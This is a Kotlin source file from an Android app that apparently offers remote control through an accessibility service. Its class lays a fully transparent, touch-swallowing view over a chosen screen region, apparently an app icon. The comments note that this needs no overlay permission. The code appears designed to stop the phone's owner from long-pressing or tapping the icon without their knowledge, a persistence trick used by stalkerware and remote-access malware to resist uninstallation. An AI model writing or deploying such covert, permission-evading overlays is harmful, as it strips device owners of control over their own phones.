package com.hikoncont.service.modules

import android.graphics.PixelFormat
import android.graphics.Rect
import android.os.Build
import android.view.Gravity
import android.view.View
import android.view.WindowManager
import com.hikoncont.service.AccessibilityRemoteService

/**
 * 透明遮罩管理器：在目标区域上方放置一个可点击的透明视图，吞掉长按/点击
 */
class AppIconShieldOverlayManager(private val service: AccessibilityRemoteService) {

    private var windowManager: WindowManager? = null
    private var shieldView: View? = null
    private var layoutParams: WindowManager.LayoutParams? = null

    fun show(bounds: Rect) {
        val wm = windowManager ?: (service.getSystemService(android.content.Context.WINDOW_SERVICE) as WindowManager).also {
            windowManager = it
        }

        if (shieldView == null) {
            shieldView = object : View(service) {
                override fun onTouchEvent(event: android.view.MotionEvent?): Boolean {
                    // 吞掉所有触摸事件
                    return true
                }
            }.apply {
                isClickable = true
                isFocusable = true
                isFocusableInTouchMode = true
                importantForAccessibility = View.IMPORTANT_FOR_ACCESSIBILITY_NO
                alpha = 0f // 完全透明（调试可临时改为0.03f）
            }

            layoutParams = WindowManager.LayoutParams().apply {
                width = bounds.width()
                height = bounds.height()
                x = bounds.left
                y = bounds.top
                gravity = Gravity.TOP or Gravity.START
                format = PixelFormat.TRANSLUCENT
                flags = (
                    WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE or
                    WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS
                )
                type = if (Build.VERSION.SDK_INT >= 26) {
                    // 无障碍服务专用覆盖层，无需悬浮窗权限
                    WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY
                } else {
                    @Suppress("DEPRECATION")
                    WindowManager.LayoutParams.TYPE_SYSTEM_ALERT
                }
            }

            wm.addView(shieldView, layoutParams)
        } else {
            update(bounds)
        }
    }

    fun update(bounds: Rect) {
        val lp = layoutParams ?: return
        val wm = windowManager ?: return
        lp.width = bounds.width()
        lp.height = bounds.height()
        lp.x = bounds.left
        lp.y = bounds.top
        try {
            wm.updateViewLayout(shieldView, lp)
        } catch (_: Exception) {}
    }

    fun hide() {
        val wm = windowManager ?: return
        val view = shieldView ?: return
        try {
            wm.removeView(view)
        } catch (_: Exception) {}
        shieldView = null
        layoutParams = null
    }

    fun isShown(): Boolean = shieldView != null
}


